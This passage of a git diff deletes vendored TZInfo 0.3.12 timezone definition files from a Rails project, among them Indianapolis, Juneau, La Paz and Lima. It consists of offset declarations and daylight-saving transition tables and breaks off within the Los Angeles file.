-          tz.transition 2005, 4, :o2, 1112508000
-          tz.transition 2005, 10, :o1, 1130648400
-          tz.transition 2006, 4, :o2, 1143957600
-          tz.transition 2006, 10, :o1, 1162098000
-          tz.transition 2007, 3, :o2, 1173592800
-          tz.transition 2007, 11, :o1, 1194152400
-          tz.transition 2008, 3, :o2, 1205042400
-          tz.transition 2008, 11, :o1, 1225602000
-          tz.transition 2009, 3, :o2, 1236492000
-          tz.transition 2009, 11, :o1, 1257051600
-          tz.transition 2010, 3, :o2, 1268546400
-          tz.transition 2010, 11, :o1, 1289106000
-          tz.transition 2011, 3, :o2, 1299996000
-          tz.transition 2011, 11, :o1, 1320555600
-          tz.transition 2012, 3, :o2, 1331445600
-          tz.transition 2012, 11, :o1, 1352005200
-          tz.transition 2013, 3, :o2, 1362895200
-          tz.transition 2013, 11, :o1, 1383454800
-          tz.transition 2014, 3, :o2, 1394344800
-          tz.transition 2014, 11, :o1, 1414904400
-          tz.transition 2015, 3, :o2, 1425794400
-          tz.transition 2015, 11, :o1, 1446354000
-          tz.transition 2016, 3, :o2, 1457848800
-          tz.transition 2016, 11, :o1, 1478408400
-          tz.transition 2017, 3, :o2, 1489298400
-          tz.transition 2017, 11, :o1, 1509858000
-          tz.transition 2018, 3, :o2, 1520748000
-          tz.transition 2018, 11, :o1, 1541307600
-          tz.transition 2019, 3, :o2, 1552197600
-          tz.transition 2019, 11, :o1, 1572757200
-          tz.transition 2020, 3, :o2, 1583647200
-          tz.transition 2020, 11, :o1, 1604206800
-          tz.transition 2021, 3, :o2, 1615701600
-          tz.transition 2021, 11, :o1, 1636261200
-          tz.transition 2022, 3, :o2, 1647151200
-          tz.transition 2022, 11, :o1, 1667710800
-          tz.transition 2023, 3, :o2, 1678600800
-          tz.transition 2023, 11, :o1, 1699160400
-          tz.transition 2024, 3, :o2, 1710050400
-          tz.transition 2024, 11, :o1, 1730610000
-          tz.transition 2025, 3, :o2, 1741500000
-          tz.transition 2025, 11, :o1, 1762059600
-          tz.transition 2026, 3, :o2, 1772949600
-          tz.transition 2026, 11, :o1, 1793509200
-          tz.transition 2027, 3, :o2, 1805004000
-          tz.transition 2027, 11, :o1, 1825563600
-          tz.transition 2028, 3, :o2, 1836453600
-          tz.transition 2028, 11, :o1, 1857013200
-          tz.transition 2029, 3, :o2, 1867903200
-          tz.transition 2029, 11, :o1, 1888462800
-          tz.transition 2030, 3, :o2, 1899352800
-          tz.transition 2030, 11, :o1, 1919912400
-          tz.transition 2031, 3, :o2, 1930802400
-          tz.transition 2031, 11, :o1, 1951362000
-          tz.transition 2032, 3, :o2, 1962856800
-          tz.transition 2032, 11, :o1, 1983416400
-          tz.transition 2033, 3, :o2, 1994306400
-          tz.transition 2033, 11, :o1, 2014866000
-          tz.transition 2034, 3, :o2, 2025756000
-          tz.transition 2034, 11, :o1, 2046315600
-          tz.transition 2035, 3, :o2, 2057205600
-          tz.transition 2035, 11, :o1, 2077765200
-          tz.transition 2036, 3, :o2, 2088655200
-          tz.transition 2036, 11, :o1, 2109214800
-          tz.transition 2037, 3, :o2, 2120104800
-          tz.transition 2037, 11, :o1, 2140664400
-          tz.transition 2038, 3, :o2, 9861987, 4
-          tz.transition 2038, 11, :o1, 59177633, 24
-          tz.transition 2039, 3, :o2, 9863443, 4
-          tz.transition 2039, 11, :o1, 59186369, 24
-          tz.transition 2040, 3, :o2, 9864899, 4
-          tz.transition 2040, 11, :o1, 59195105, 24
-          tz.transition 2041, 3, :o2, 9866355, 4
-          tz.transition 2041, 11, :o1, 59203841, 24
-          tz.transition 2042, 3, :o2, 9867811, 4
-          tz.transition 2042, 11, :o1, 59212577, 24
-          tz.transition 2043, 3, :o2, 9869267, 4
-          tz.transition 2043, 11, :o1, 59221313, 24
-          tz.transition 2044, 3, :o2, 9870751, 4
-          tz.transition 2044, 11, :o1, 59230217, 24
-          tz.transition 2045, 3, :o2, 9872207, 4
-          tz.transition 2045, 11, :o1, 59238953, 24
-          tz.transition 2046, 3, :o2, 9873663, 4
-          tz.transition 2046, 11, :o1, 59247689, 24
-          tz.transition 2047, 3, :o2, 9875119, 4
-          tz.transition 2047, 11, :o1, 59256425, 24
-          tz.transition 2048, 3, :o2, 9876575, 4
-          tz.transition 2048, 11, :o1, 59265161, 24
-          tz.transition 2049, 3, :o2, 9878059, 4
-          tz.transition 2049, 11, :o1, 59274065, 24
-          tz.transition 2050, 3, :o2, 9879515, 4
-          tz.transition 2050, 11, :o1, 59282801, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb
deleted file mode 100644
index f1430f6c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb
+++ /dev/null
@@ -1,149 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Indiana
-        module Indianapolis
-          include TimezoneDefinition
-          
-          timezone 'America/Indiana/Indianapolis' do |tz|
-            tz.offset :o0, -20678, 0, :LMT
-            tz.offset :o1, -21600, 0, :CST
-            tz.offset :o2, -21600, 3600, :CDT
-            tz.offset :o3, -21600, 3600, :CWT
-            tz.offset :o4, -21600, 3600, :CPT
-            tz.offset :o5, -18000, 0, :EST
-            tz.offset :o6, -18000, 3600, :EDT
-            
-            tz.transition 1883, 11, :o1, 9636533, 4
-            tz.transition 1918, 3, :o2, 14530103, 6
-            tz.transition 1918, 10, :o1, 58125451, 24
-            tz.transition 1919, 3, :o2, 14532287, 6
-            tz.transition 1919, 10, :o1, 58134187, 24
-            tz.transition 1941, 6, :o2, 14581007, 6
-            tz.transition 1941, 9, :o1, 58326379, 24
-            tz.transition 1942, 2, :o3, 14582399, 6
-            tz.transition 1945, 8, :o4, 58360379, 24
-            tz.transition 1945, 9, :o1, 58361491, 24
-            tz.transition 1946, 4, :o2, 14591633, 6
-            tz.transition 1946, 9, :o1, 58370227, 24
-            tz.transition 1947, 4, :o2, 14593817, 6
-            tz.transition 1947, 9, :o1, 58378963, 24
-            tz.transition 1948, 4, :o2, 14596001, 6
-            tz.transition 1948, 9, :o1, 58387699, 24
-            tz.transition 1949, 4, :o2, 14598185, 6
-            tz.transition 1949, 9, :o1, 58396435, 24
-            tz.transition 1950, 4, :o2, 14600411, 6
-            tz.transition 1950, 9, :o1, 58405171, 24
-            tz.transition 1951, 4, :o2, 14602595, 6
-            tz.transition 1951, 9, :o1, 58414075, 24
-            tz.transition 1952, 4, :o2, 14604779, 6
-            tz.transition 1952, 9, :o1, 58422811, 24
-            tz.transition 1953, 4, :o2, 14606963, 6
-            tz.transition 1953, 9, :o1, 58431547, 24
-            tz.transition 1954, 4, :o2, 14609147, 6
-            tz.transition 1954, 9, :o1, 58440283, 24
-            tz.transition 1955, 4, :o5, 14611331, 6
-            tz.transition 1957, 9, :o1, 58466659, 24
-            tz.transition 1958, 4, :o5, 14617925, 6
-            tz.transition 1969, 4, :o6, 58568131, 24
-            tz.transition 1969, 10, :o5, 9762083, 4
-            tz.transition 1970, 4, :o6, 9961200
-            tz.transition 1970, 10, :o5, 25682400
-            tz.transition 2006, 4, :o6, 1143961200
-            tz.transition 2006, 10, :o5, 1162101600
-            tz.transition 2007, 3, :o6, 1173596400
-            tz.transition 2007, 11, :o5, 1194156000
-            tz.transition 2008, 3, :o6, 1205046000
-            tz.transition 2008, 11, :o5, 1225605600
-            tz.transition 2009, 3, :o6, 1236495600
-            tz.transition 2009, 11, :o5, 1257055200
-            tz.transition 2010, 3, :o6, 1268550000
-            tz.transition 2010, 11, :o5, 1289109600
-            tz.transition 2011, 3, :o6, 1299999600
-            tz.transition 2011, 11, :o5, 1320559200
-            tz.transition 2012, 3, :o6, 1331449200
-            tz.transition 2012, 11, :o5, 1352008800
-            tz.transition 2013, 3, :o6, 1362898800
-            tz.transition 2013, 11, :o5, 1383458400
-            tz.transition 2014, 3, :o6, 1394348400
-            tz.transition 2014, 11, :o5, 1414908000
-            tz.transition 2015, 3, :o6, 1425798000
-            tz.transition 2015, 11, :o5, 1446357600
-            tz.transition 2016, 3, :o6, 1457852400
-            tz.transition 2016, 11, :o5, 1478412000
-            tz.transition 2017, 3, :o6, 1489302000
-            tz.transition 2017, 11, :o5, 1509861600
-            tz.transition 2018, 3, :o6, 1520751600
-            tz.transition 2018, 11, :o5, 1541311200
-            tz.transition 2019, 3, :o6, 1552201200
-            tz.transition 2019, 11, :o5, 1572760800
-            tz.transition 2020, 3, :o6, 1583650800
-            tz.transition 2020, 11, :o5, 1604210400
-            tz.transition 2021, 3, :o6, 1615705200
-            tz.transition 2021, 11, :o5, 1636264800
-            tz.transition 2022, 3, :o6, 1647154800
-            tz.transition 2022, 11, :o5, 1667714400
-            tz.transition 2023, 3, :o6, 1678604400
-            tz.transition 2023, 11, :o5, 1699164000
-            tz.transition 2024, 3, :o6, 1710054000
-            tz.transition 2024, 11, :o5, 1730613600
-            tz.transition 2025, 3, :o6, 1741503600
-            tz.transition 2025, 11, :o5, 1762063200
-            tz.transition 2026, 3, :o6, 1772953200
-            tz.transition 2026, 11, :o5, 1793512800
-            tz.transition 2027, 3, :o6, 1805007600
-            tz.transition 2027, 11, :o5, 1825567200
-            tz.transition 2028, 3, :o6, 1836457200
-            tz.transition 2028, 11, :o5, 1857016800
-            tz.transition 2029, 3, :o6, 1867906800
-            tz.transition 2029, 11, :o5, 1888466400
-            tz.transition 2030, 3, :o6, 1899356400
-            tz.transition 2030, 11, :o5, 1919916000
-            tz.transition 2031, 3, :o6, 1930806000
-            tz.transition 2031, 11, :o5, 1951365600
-            tz.transition 2032, 3, :o6, 1962860400
-            tz.transition 2032, 11, :o5, 1983420000
-            tz.transition 2033, 3, :o6, 1994310000
-            tz.transition 2033, 11, :o5, 2014869600
-            tz.transition 2034, 3, :o6, 2025759600
-            tz.transition 2034, 11, :o5, 2046319200
-            tz.transition 2035, 3, :o6, 2057209200
-            tz.transition 2035, 11, :o5, 2077768800
-            tz.transition 2036, 3, :o6, 2088658800
-            tz.transition 2036, 11, :o5, 2109218400
-            tz.transition 2037, 3, :o6, 2120108400
-            tz.transition 2037, 11, :o5, 2140668000
-            tz.transition 2038, 3, :o6, 59171923, 24
-            tz.transition 2038, 11, :o5, 9862939, 4
-            tz.transition 2039, 3, :o6, 59180659, 24
-            tz.transition 2039, 11, :o5, 9864395, 4
-            tz.transition 2040, 3, :o6, 59189395, 24
-            tz.transition 2040, 11, :o5, 9865851, 4
-            tz.transition 2041, 3, :o6, 59198131, 24
-            tz.transition 2041, 11, :o5, 9867307, 4
-            tz.transition 2042, 3, :o6, 59206867, 24
-            tz.transition 2042, 11, :o5, 9868763, 4
-            tz.transition 2043, 3, :o6, 59215603, 24
-            tz.transition 2043, 11, :o5, 9870219, 4
-            tz.transition 2044, 3, :o6, 59224507, 24
-            tz.transition 2044, 11, :o5, 9871703, 4
-            tz.transition 2045, 3, :o6, 59233243, 24
-            tz.transition 2045, 11, :o5, 9873159, 4
-            tz.transition 2046, 3, :o6, 59241979, 24
-            tz.transition 2046, 11, :o5, 9874615, 4
-            tz.transition 2047, 3, :o6, 59250715, 24
-            tz.transition 2047, 11, :o5, 9876071, 4
-            tz.transition 2048, 3, :o6, 59259451, 24
-            tz.transition 2048, 11, :o5, 9877527, 4
-            tz.transition 2049, 3, :o6, 59268355, 24
-            tz.transition 2049, 11, :o5, 9879011, 4
-            tz.transition 2050, 3, :o6, 59277091, 24
-            tz.transition 2050, 11, :o5, 9880467, 4
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb
deleted file mode 100644
index f646f3f5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb
+++ /dev/null
@@ -1,194 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Juneau
-        include TimezoneDefinition
-        
-        timezone 'America/Juneau' do |tz|
-          tz.offset :o0, 54139, 0, :LMT
-          tz.offset :o1, -32261, 0, :LMT
-          tz.offset :o2, -28800, 0, :PST
-          tz.offset :o3, -28800, 3600, :PWT
-          tz.offset :o4, -28800, 3600, :PPT
-          tz.offset :o5, -28800, 3600, :PDT
-          tz.offset :o6, -32400, 0, :YST
-          tz.offset :o7, -32400, 0, :AKST
-          tz.offset :o8, -32400, 3600, :AKDT
-          
-          tz.transition 1867, 10, :o1, 207641393861, 86400
-          tz.transition 1900, 8, :o2, 208677805061, 86400
-          tz.transition 1942, 2, :o3, 29164799, 12
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o2, 19453831, 8
-          tz.transition 1969, 4, :o5, 29284067, 12
-          tz.transition 1969, 10, :o2, 19524167, 8
-          tz.transition 1970, 4, :o5, 9972000
-          tz.transition 1970, 10, :o2, 25693200
-          tz.transition 1971, 4, :o5, 41421600
-          tz.transition 1971, 10, :o2, 57747600
-          tz.transition 1972, 4, :o5, 73476000
-          tz.transition 1972, 10, :o2, 89197200
-          tz.transition 1973, 4, :o5, 104925600
-          tz.transition 1973, 10, :o2, 120646800
-          tz.transition 1974, 1, :o5, 126698400
-          tz.transition 1974, 10, :o2, 152096400
-          tz.transition 1975, 2, :o5, 162381600
-          tz.transition 1975, 10, :o2, 183546000
-          tz.transition 1976, 4, :o5, 199274400
-          tz.transition 1976, 10, :o2, 215600400
-          tz.transition 1977, 4, :o5, 230724000
-          tz.transition 1977, 10, :o2, 247050000
-          tz.transition 1978, 4, :o5, 262778400
-          tz.transition 1978, 10, :o2, 278499600
-          tz.transition 1979, 4, :o5, 294228000
-          tz.transition 1979, 10, :o2, 309949200
-          tz.transition 1980, 4, :o5, 325677600
-          tz.transition 1980, 10, :o2, 341398800
-          tz.transition 1981, 4, :o5, 357127200
-          tz.transition 1981, 10, :o2, 372848400
-          tz.transition 1982, 4, :o5, 388576800
-          tz.transition 1982, 10, :o2, 404902800
-          tz.transition 1983, 4, :o5, 420026400
-          tz.transition 1983, 10, :o6, 436352400
-          tz.transition 1983, 11, :o7, 439030800
-          tz.transition 1984, 4, :o8, 452084400
-          tz.transition 1984, 10, :o7, 467805600
-          tz.transition 1985, 4, :o8, 483534000
-          tz.transition 1985, 10, :o7, 499255200
-          tz.transition 1986, 4, :o8, 514983600
-          tz.transition 1986, 10, :o7, 530704800
-          tz.transition 1987, 4, :o8, 544618800
-          tz.transition 1987, 10, :o7, 562154400
-          tz.transition 1988, 4, :o8, 576068400
-          tz.transition 1988, 10, :o7, 594208800
-          tz.transition 1989, 4, :o8, 607518000
-          tz.transition 1989, 10, :o7, 625658400
-          tz.transition 1990, 4, :o8, 638967600
-          tz.transition 1990, 10, :o7, 657108000
-          tz.transition 1991, 4, :o8, 671022000
-          tz.transition 1991, 10, :o7, 688557600
-          tz.transition 1992, 4, :o8, 702471600
-          tz.transition 1992, 10, :o7, 720007200
-          tz.transition 1993, 4, :o8, 733921200
-          tz.transition 1993, 10, :o7, 752061600
-          tz.transition 1994, 4, :o8, 765370800
-          tz.transition 1994, 10, :o7, 783511200
-          tz.transition 1995, 4, :o8, 796820400
-          tz.transition 1995, 10, :o7, 814960800
-          tz.transition 1996, 4, :o8, 828874800
-          tz.transition 1996, 10, :o7, 846410400
-          tz.transition 1997, 4, :o8, 860324400
-          tz.transition 1997, 10, :o7, 877860000
-          tz.transition 1998, 4, :o8, 891774000
-          tz.transition 1998, 10, :o7, 909309600
-          tz.transition 1999, 4, :o8, 923223600
-          tz.transition 1999, 10, :o7, 941364000
-          tz.transition 2000, 4, :o8, 954673200
-          tz.transition 2000, 10, :o7, 972813600
-          tz.transition 2001, 4, :o8, 986122800
-          tz.transition 2001, 10, :o7, 1004263200
-          tz.transition 2002, 4, :o8, 1018177200
-          tz.transition 2002, 10, :o7, 1035712800
-          tz.transition 2003, 4, :o8, 1049626800
-          tz.transition 2003, 10, :o7, 1067162400
-          tz.transition 2004, 4, :o8, 1081076400
-          tz.transition 2004, 10, :o7, 1099216800
-          tz.transition 2005, 4, :o8, 1112526000
-          tz.transition 2005, 10, :o7, 1130666400
-          tz.transition 2006, 4, :o8, 1143975600
-          tz.transition 2006, 10, :o7, 1162116000
-          tz.transition 2007, 3, :o8, 1173610800
-          tz.transition 2007, 11, :o7, 1194170400
-          tz.transition 2008, 3, :o8, 1205060400
-          tz.transition 2008, 11, :o7, 1225620000
-          tz.transition 2009, 3, :o8, 1236510000
-          tz.transition 2009, 11, :o7, 1257069600
-          tz.transition 2010, 3, :o8, 1268564400
-          tz.transition 2010, 11, :o7, 1289124000
-          tz.transition 2011, 3, :o8, 1300014000
-          tz.transition 2011, 11, :o7, 1320573600
-          tz.transition 2012, 3, :o8, 1331463600
-          tz.transition 2012, 11, :o7, 1352023200
-          tz.transition 2013, 3, :o8, 1362913200
-          tz.transition 2013, 11, :o7, 1383472800
-          tz.transition 2014, 3, :o8, 1394362800
-          tz.transition 2014, 11, :o7, 1414922400
-          tz.transition 2015, 3, :o8, 1425812400
-          tz.transition 2015, 11, :o7, 1446372000
-          tz.transition 2016, 3, :o8, 1457866800
-          tz.transition 2016, 11, :o7, 1478426400
-          tz.transition 2017, 3, :o8, 1489316400
-          tz.transition 2017, 11, :o7, 1509876000
-          tz.transition 2018, 3, :o8, 1520766000
-          tz.transition 2018, 11, :o7, 1541325600
-          tz.transition 2019, 3, :o8, 1552215600
-          tz.transition 2019, 11, :o7, 1572775200
-          tz.transition 2020, 3, :o8, 1583665200
-          tz.transition 2020, 11, :o7, 1604224800
-          tz.transition 2021, 3, :o8, 1615719600
-          tz.transition 2021, 11, :o7, 1636279200
-          tz.transition 2022, 3, :o8, 1647169200
-          tz.transition 2022, 11, :o7, 1667728800
-          tz.transition 2023, 3, :o8, 1678618800
-          tz.transition 2023, 11, :o7, 1699178400
-          tz.transition 2024, 3, :o8, 1710068400
-          tz.transition 2024, 11, :o7, 1730628000
-          tz.transition 2025, 3, :o8, 1741518000
-          tz.transition 2025, 11, :o7, 1762077600
-          tz.transition 2026, 3, :o8, 1772967600
-          tz.transition 2026, 11, :o7, 1793527200
-          tz.transition 2027, 3, :o8, 1805022000
-          tz.transition 2027, 11, :o7, 1825581600
-          tz.transition 2028, 3, :o8, 1836471600
-          tz.transition 2028, 11, :o7, 1857031200
-          tz.transition 2029, 3, :o8, 1867921200
-          tz.transition 2029, 11, :o7, 1888480800
-          tz.transition 2030, 3, :o8, 1899370800
-          tz.transition 2030, 11, :o7, 1919930400
-          tz.transition 2031, 3, :o8, 1930820400
-          tz.transition 2031, 11, :o7, 1951380000
-          tz.transition 2032, 3, :o8, 1962874800
-          tz.transition 2032, 11, :o7, 1983434400
-          tz.transition 2033, 3, :o8, 1994324400
-          tz.transition 2033, 11, :o7, 2014884000
-          tz.transition 2034, 3, :o8, 2025774000
-          tz.transition 2034, 11, :o7, 2046333600
-          tz.transition 2035, 3, :o8, 2057223600
-          tz.transition 2035, 11, :o7, 2077783200
-          tz.transition 2036, 3, :o8, 2088673200
-          tz.transition 2036, 11, :o7, 2109232800
-          tz.transition 2037, 3, :o8, 2120122800
-          tz.transition 2037, 11, :o7, 2140682400
-          tz.transition 2038, 3, :o8, 59171927, 24
-          tz.transition 2038, 11, :o7, 29588819, 12
-          tz.transition 2039, 3, :o8, 59180663, 24
-          tz.transition 2039, 11, :o7, 29593187, 12
-          tz.transition 2040, 3, :o8, 59189399, 24
-          tz.transition 2040, 11, :o7, 29597555, 12
-          tz.transition 2041, 3, :o8, 59198135, 24
-          tz.transition 2041, 11, :o7, 29601923, 12
-          tz.transition 2042, 3, :o8, 59206871, 24
-          tz.transition 2042, 11, :o7, 29606291, 12
-          tz.transition 2043, 3, :o8, 59215607, 24
-          tz.transition 2043, 11, :o7, 29610659, 12
-          tz.transition 2044, 3, :o8, 59224511, 24
-          tz.transition 2044, 11, :o7, 29615111, 12
-          tz.transition 2045, 3, :o8, 59233247, 24
-          tz.transition 2045, 11, :o7, 29619479, 12
-          tz.transition 2046, 3, :o8, 59241983, 24
-          tz.transition 2046, 11, :o7, 29623847, 12
-          tz.transition 2047, 3, :o8, 59250719, 24
-          tz.transition 2047, 11, :o7, 29628215, 12
-          tz.transition 2048, 3, :o8, 59259455, 24
-          tz.transition 2048, 11, :o7, 29632583, 12
-          tz.transition 2049, 3, :o8, 59268359, 24
-          tz.transition 2049, 11, :o7, 29637035, 12
-          tz.transition 2050, 3, :o8, 59277095, 24
-          tz.transition 2050, 11, :o7, 29641403, 12
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb
deleted file mode 100644
index 45c90789..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module La_Paz
-        include TimezoneDefinition
-        
-        timezone 'America/La_Paz' do |tz|
-          tz.offset :o0, -16356, 0, :LMT
-          tz.offset :o1, -16356, 0, :CMT
-          tz.offset :o2, -16356, 3600, :BOST
-          tz.offset :o3, -14400, 0, :BOT
-          
-          tz.transition 1890, 1, :o1, 17361854563, 7200
-          tz.transition 1931, 10, :o2, 17471733763, 7200
-          tz.transition 1932, 3, :o3, 17472871063, 7200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb
deleted file mode 100644
index af68ac29..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Lima
-        include TimezoneDefinition
-        
-        timezone 'America/Lima' do |tz|
-          tz.offset :o0, -18492, 0, :LMT
-          tz.offset :o1, -18516, 0, :LMT
-          tz.offset :o2, -18000, 0, :PET
-          tz.offset :o3, -18000, 3600, :PEST
-          
-          tz.transition 1890, 1, :o1, 17361854741, 7200
-          tz.transition 1908, 7, :o2, 17410685143, 7200
-          tz.transition 1938, 1, :o3, 58293593, 24
-          tz.transition 1938, 4, :o2, 7286969, 3
-          tz.transition 1938, 9, :o3, 58300001, 24
-          tz.transition 1939, 3, :o2, 7288046, 3
-          tz.transition 1939, 9, :o3, 58308737, 24
-          tz.transition 1940, 3, :o2, 7289138, 3
-          tz.transition 1986, 1, :o3, 504939600
-          tz.transition 1986, 4, :o2, 512712000
-          tz.transition 1987, 1, :o3, 536475600
-          tz.transition 1987, 4, :o2, 544248000
-          tz.transition 1990, 1, :o3, 631170000
-          tz.transition 1990, 4, :o2, 638942400
-          tz.transition 1994, 1, :o3, 757400400
-          tz.transition 1994, 4, :o2, 765172800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb
deleted file mode 100644
index 16007fd6..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb
+++ /dev/null
@@ -1,232 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Los_Angeles
-        include TimezoneDefinition
-        
-        timezone 'America/Los_Angeles' do |tz|
-          tz.offset :o0, -28378, 0, :LMT
-          tz.offset :o1, -28800, 0, :PST
-          tz.offset :o2, -28800, 3600, :PDT
-          tz.offset :o3, -28800, 3600, :PWT
-          tz.offset :o4, -28800, 3600, :PPT
-          
-          tz.transition 1883, 11, :o1, 7227400, 3
-          tz.transition 1918, 3, :o2, 29060207, 12
-          tz.transition 1918, 10, :o1, 19375151, 8
-          tz.transition 1919, 3, :o2, 29064575, 12
-          tz.transition 1919, 10, :o1, 19378063, 8
-          tz.transition 1942, 2, :o3, 29164799, 12
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o1, 19453831, 8
-          tz.transition 1948, 3, :o2, 29191499, 12
-          tz.transition 1949, 1, :o1, 19463343, 8
-          tz.transition 1950, 4, :o2, 29200823, 12
-          tz.transition 1950, 9, :o1, 19468391, 8
-          tz.transition 1951, 4, :o2, 29205191, 12
-          tz.transition 1951, 9, :o1, 19471359, 8
-          tz.transition 1952, 4, :o2, 29209559, 12
-          tz.transition 1952, 9, :o1, 19474271, 8
-          tz.transition 1953, 4, :o2, 29213927, 12
-          tz.transition 1953, 9, :o1, 19477183, 8
-          tz.transition 1954, 4, :o2, 29218295, 12
-          tz.transition 1954, 9, :o1, 19480095, 8
-          tz.transition 1955, 4, :o2, 29222663, 12
-          tz.transition 1955, 9, :o1, 19483007, 8
-          tz.transition 1956, 4, :o2, 29227115, 12
-          tz.transition 1956, 9, :o1, 19485975, 8
-          tz.transition 1957, 4, :o2, 29231483, 12
-          tz.transition 1957, 9, :o1, 19488887, 8
-          tz.transition 1958, 4, :o2, 29235851, 12
-          tz.transition 1958, 9, :o1, 19491799, 8
-          tz.transition 1959, 4, :o2, 29240219, 12
-          tz.transition 1959, 9, :o1, 19494711, 8
-          tz.transition 1960, 4, :o2, 29244587, 12
-          tz.transition 1960, 9, :o1, 19497623, 8
-          tz.transition 1961, 4, :o2, 29249039, 12
-          tz.transition 1961, 9, :o1, 19500535, 8
-          tz.transition 1962, 4, :o2, 29253407, 12
-          tz.transition 1962, 10, :o1, 19503727, 8
-          tz.transition 1963, 4, :o2, 29257775, 12
-          tz.transition 1963, 10, :o1, 19506639, 8
-          tz.transition 1964, 4, :o2, 29262143, 12
-          tz.transition 1964, 10, :o1, 19509551, 8
-          tz.transition 1965, 4, :o2, 29266511, 12
-          tz.transition 1965, 10, :o1, 19512519, 8
-          tz.transition 1966, 4, :o2, 29270879, 12
-          tz.transition 1966, 10, :o1, 19515431, 8
-          tz.transition 1967, 4, :o2, 29275331, 12
-          tz.transition 1967, 10, :o1, 19518343, 8
-          tz.transition 1968, 4, :o2, 29279699, 12
-          tz.transition 1968, 10, :o1, 19521255, 8
-          tz.transition 1969, 4, :o2, 29284067, 12
-          tz.transition 1969, 10, :o1, 19524167, 8
-          tz.transition 1970, 4, :o2, 9972000
-          tz.transition 1970, 10, :o1, 25693200
-          tz.transition 1971, 4, :o2, 41421600
-          tz.transition 1971, 10, :o1, 57747600
-          tz.transition 1972, 4, :o2, 73476000
-          tz.transition 1972, 10, :o1, 89197200
-          tz.transition 1973, 4, :o2, 104925600
-          tz.transition 1973, 10, :o1, 120646800
-          tz.transition 1974, 1, :o2, 126698400
-          tz.transition 1974, 10, :o1, 152096400
-          tz.transition 1975, 2, :o2, 162381600
-          tz.transition 1975, 10, :o1, 183546000
-          tz.transition 1976, 4, :o2, 199274400
-          tz.transition 1976, 10, :o1, 215600400
-          tz.transition 1977, 4, :o2, 230724000
-          tz.transition 1977, 10, :o1, 247050000
-          tz.transition 1978, 4, :o2, 262778400
-          tz.transition 1978, 10, :o1, 278499600
-          tz.transition 1979, 4, :o2, 294228000
-          tz.transition 1979, 10, :o1, 309949200
-          tz.transition 1980, 4, :o2, 325677600
-          tz.transition 1980, 10, :o1, 341398800
-          tz.transition 1981, 4, :o2, 357127200
-          tz.transition 1981, 10, :o1, 372848400
-          tz.transition 1982, 4, :o2, 388576800
-          tz.transition 1982, 10, :o1, 404902800
-          tz.transition 1983, 4, :o2, 420026400
-          tz.transition 1983, 10, :o1, 436352400
-          tz.transition 1984, 4, :o2, 452080800
-          tz.transition 1984, 10, :o1, 467802000
-          tz.transition 1985, 4, :o2, 483530400
-          tz.transition 1985, 10, :o1, 499251600
-          tz.transition 1986, 4, :o2, 514980000
-          tz.transition 1986, 10, :o1, 530701200
-          tz.transition 1987, 4, :o2, 544615200
-          tz.transition 1987, 10, :o1, 562150800
-          tz.transition 1988, 4, :o2, 576064800
-          tz.transition 1988, 10, :o1, 594205200
-          tz.transition 1989, 4, :o2, 607514400
-          tz.transition 1989, 10, :o1, 625654800
-          tz.transition 1990, 4, :o2, 638964000
-          tz.transition 1990, 10, :o1, 657104400
-          tz.transition 1991, 4, :o2, 671018400
-          tz.transition 1991, 10, :o1, 688554000
-          tz.transition 1992, 4, :o2, 702468000
-          tz.transition 1992, 10, :o1, 720003600
-          tz.transition 1993, 4, :o2, 733917600
-          tz.transition 1993, 10, :o1, 752058000
-          tz.transition 1994, 4, :o2, 765367200
-          tz.transition 1994, 10, :o1, 783507600
-          tz.transition 1995, 4, :o2, 796816800
-          tz.transition 1995, 10, :o1, 814957200
-          tz.transition 1996, 4, :o2, 828871200
-          tz.transition 1996, 10, :o1, 846406800
-          tz.transition 1997, 4, :o2, 860320800
-          tz.transition 1997, 10, :o1, 877856400
-          tz.transition 1998, 4, :o2, 891770400
-          tz.transition 1998, 10, :o1, 909306000
-          tz.transition 1999, 4, :o2, 923220000
